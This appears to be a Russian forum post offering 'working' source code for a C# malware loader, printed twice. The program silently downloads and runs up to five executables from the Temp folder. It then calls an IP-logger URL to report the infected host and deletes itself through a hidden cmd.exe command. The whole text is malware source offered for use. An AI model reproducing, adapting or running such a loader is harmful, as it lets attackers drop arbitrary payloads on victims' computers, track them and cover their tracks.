Исходники лоадера на c#

Исходник рабочий.

using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Security;
using System.Reflection;
using System.Security.Cryptography.X509Certificates;
using System.Threading;

namespace Downloader
{
// Token: 0x02000002 RID: 2
public class Program
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static void Main()
{
if (Program.GetCheckForInternetConnection("https://www.google.ru"))
{
try
{
Program.DownloadFileEx(Program.downloadfile1, Environment.GetEnvironmentVariable("Temp"), Program.filename1);
Program.DownloadFileEx(Program.downloadfile2, Environment.GetEnvironmentVariable("Temp"), Program.filename2);
Program.DownloadFileEx(Program.downloadfile3, Environment.GetEnvironmentVariable("Temp"), Program.filename3);
Program.DownloadFileEx(Program.downloadfile4, Environment.GetEnvironmentVariable("Temp"), Program.filename4);
Program.DownloadFileEx(Program.downloadfile5, Environment.GetEnvironmentVariable("Temp"), Program.filename5);
}
catch
{
}
Thread.Sleep(3000);
Program.Logger(Program.iplog);
Program.Com("/C choice /C Y /N /D Y /T 0 &Del ", "cmd.exe");
return;
}
File.AppendAllText("Error.txt", "Ошибка подключения к интернету.");
}

// Token: 0x06000002 RID: 2 RVA: 0x00002134 File Offset: 0x00000334
public static void Logger(string link)
{
WebRequest webRequest = WebRequest.Create(link);
webRequest.Credentials = CredentialCache.DefaultCredentials;
((HttpWebRequest)webRequest).UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64";
webRequest.GetResponse();
}

// Token: 0x06000003 RID: 3 RVA: 0x0000216C File Offset: 0x0000036C
public static bool GetCheckForInternetConnection(string OpenClient)
{
bool result;
try
{
using (new WebClient().OpenRead(OpenClient))
{
result = true;
}
}
catch
{
result = false;
}
return result;
}

// Token: 0x06000004 RID: 4 RVA: 0x000021B8 File Offset: 0x000003B8
public static void Com(string ArgText, string CommandText)
{
try
{
using (Process process = new Process
{
StartInfo =
{
Arguments = ArgText + Assembly.GetExecutingAssembly().Location,
WindowStyle = ProcessWindowStyle.Hidden,
FileName = CommandText,
CreateNoWindow = true
}
})
{
process.Start();
}
}
catch
{
}
}

// Token: 0x06000005 RID: 5 RVA: 0x00002240 File Offset: 0x00000440
public static void DownloadFileEx(string Link, string SavePath, string FileName)
{
if (!File.Exists(Path.Combine(SavePath, FileName)))
{
using (WebClient webClient = new WebClient())
{
ServicePointManager.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine(ServicePointManager.ServerCertificateValidationCallback, new RemoteCertificateValidationCallback(Program.ValidateRemoteCertificate));
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls;
webClient.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64");
webClient.DownloadFile(new Uri(Link), Path.Combine(SavePath, FileName));
Process.Start(Path.Combine(SavePath, FileName));
}
}
}

// Token: 0x06000006 RID: 6 RVA: 0x000022DC File Offset: 0x000004DC
private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error)
{
return error == SslPolicyErrors.None;
}

// Token: 0x04000001 RID: 1
private static string iplog = "https://*********com/1tVg27";

// Token: 0x04000002 RID: 2
private static string downloadfile1 = "http://www.rarlab.com/rar/winrar-x64-540ru.exe";

// Token: 0x04000003 RID: 3
private static string filename1 = "winrar-x64-540ru.exe";

// Token: 0x04000004 RID: 4
private static string downloadfile2 = "";

// Token: 0x04000005 RID: 5
private static string filename2 = "";

// Token: 0x04000006 RID: 6
private static string downloadfile3 = "";

// Token: 0x04000007 RID: 7
private static string filename3 = "";

// Token: 0x04000008 RID: 8
private static string downloadfile4 = "";

// Token: 0x04000009 RID: 9
private static string filename4 = "";

// Token: 0x0400000A RID: 10
private static string downloadfile5 = "";

// Token: 0x0400000B RID: 11
private static string filename5 = "";
}
}

Код

using System;

using System.Diagnostics;

using System.IO;

using System.Net;

using System.Net.Security;

using System.Reflection;

using System.Security.Cryptography.X509Certificates;

using System.Threading;



namespace Downloader

{

    // Token: 0x02000002 RID: 2

    public class Program

    {

        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250

        private static void Main()

        {

            if (Program.GetCheckForInternetConnection("https://www.google.ru"))

            {

                try

                {

                    Program.DownloadFileEx(Program.downloadfile1, Environment.GetEnvironmentVariable("Temp"), Program.filename1);

                    Program.DownloadFileEx(Program.downloadfile2, Environment.GetEnvironmentVariable("Temp"), Program.filename2);

                    Program.DownloadFileEx(Program.downloadfile3, Environment.GetEnvironmentVariable("Temp"), Program.filename3);

                    Program.DownloadFileEx(Program.downloadfile4, Environment.GetEnvironmentVariable("Temp"), Program.filename4);

                    Program.DownloadFileEx(Program.downloadfile5, Environment.GetEnvironmentVariable("Temp"), Program.filename5);

                }

                catch

                {

                }

                Thread.Sleep(3000);

                Program.Logger(Program.iplog);

                Program.Com("/C choice /C Y /N /D Y /T 0 &Del ", "cmd.exe");

                return;

            }

            File.AppendAllText("Error.txt", "Ошибка подключения к интернету.");

        }



        // Token: 0x06000002 RID: 2 RVA: 0x00002134 File Offset: 0x00000334

        public static void Logger(string link)

        {

            WebRequest webRequest = WebRequest.Create(link);

            webRequest.Credentials = CredentialCache.DefaultCredentials;

            ((HttpWebRequest)webRequest).UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64";

            webRequest.GetResponse();

        }



        // Token: 0x06000003 RID: 3 RVA: 0x0000216C File Offset: 0x0000036C

        public static bool GetCheckForInternetConnection(string OpenClient)

        {

            bool result;

            try

            {

                using (new WebClient().OpenRead(OpenClient))

                {

                    result = true;

                }

            }

            catch

            {

                result = false;

            }

            return result;

        }



        // Token: 0x06000004 RID: 4 RVA: 0x000021B8 File Offset: 0x000003B8

        public static void Com(string ArgText, string CommandText)

        {

            try

            {

                using (Process process = new Process

                {

                    StartInfo =

                    {

                        Arguments = ArgText + Assembly.GetExecutingAssembly().Location,

                        WindowStyle = ProcessWindowStyle.Hidden,

                        FileName = CommandText,

                        CreateNoWindow = true

                    }

                })

                {

                    process.Start();

                }

            }

            catch

            {

            }

        }



        // Token: 0x06000005 RID: 5 RVA: 0x00002240 File Offset: 0x00000440

        public static void DownloadFileEx(string Link, string SavePath, string FileName)

        {

            if (!File.Exists(Path.Combine(SavePath, FileName)))

            {

                using (WebClient webClient = new WebClient())

                {

                    ServicePointManager.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine(ServicePointManager.ServerCertificateValidationCallback, new RemoteCertificateValidationCallback(Program.ValidateRemoteCertificate));

                    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls;

                    webClient.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64");

                    webClient.DownloadFile(new Uri(Link), Path.Combine(SavePath, FileName));

                    Process.Start(Path.Combine(SavePath, FileName));

                }

            }

        }



        // Token: 0x06000006 RID: 6 RVA: 0x000022DC File Offset: 0x000004DC

        private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error)

        {

            return error == SslPolicyErrors.None;

        }



        // Token: 0x04000001 RID: 1

        private static string iplog = "https://*********com/1tVg27";



        // Token: 0x04000002 RID: 2

        private static string downloadfile1 = "http://www.rarlab.com/rar/winrar-x64-540ru.exe";



        // Token: 0x04000003 RID: 3

        private static string filename1 = "winrar-x64-540ru.exe";



        // Token: 0x04000004 RID: 4

        private static string downloadfile2 = "";



        // Token: 0x04000005 RID: 5

        private static string filename2 = "";



        // Token: 0x04000006 RID: 6

        private static string downloadfile3 = "";



        // Token: 0x04000007 RID: 7

        private static string filename3 = "";



        // Token: 0x04000008 RID: 8

        private static string downloadfile4 = "";



        // Token: 0x04000009 RID: 9

        private static string filename4 = "";



        // Token: 0x0400000A RID: 10

        private static string downloadfile5 = "";



        // Token: 0x0400000B RID: 11

        private static string filename5 = "";

    }

}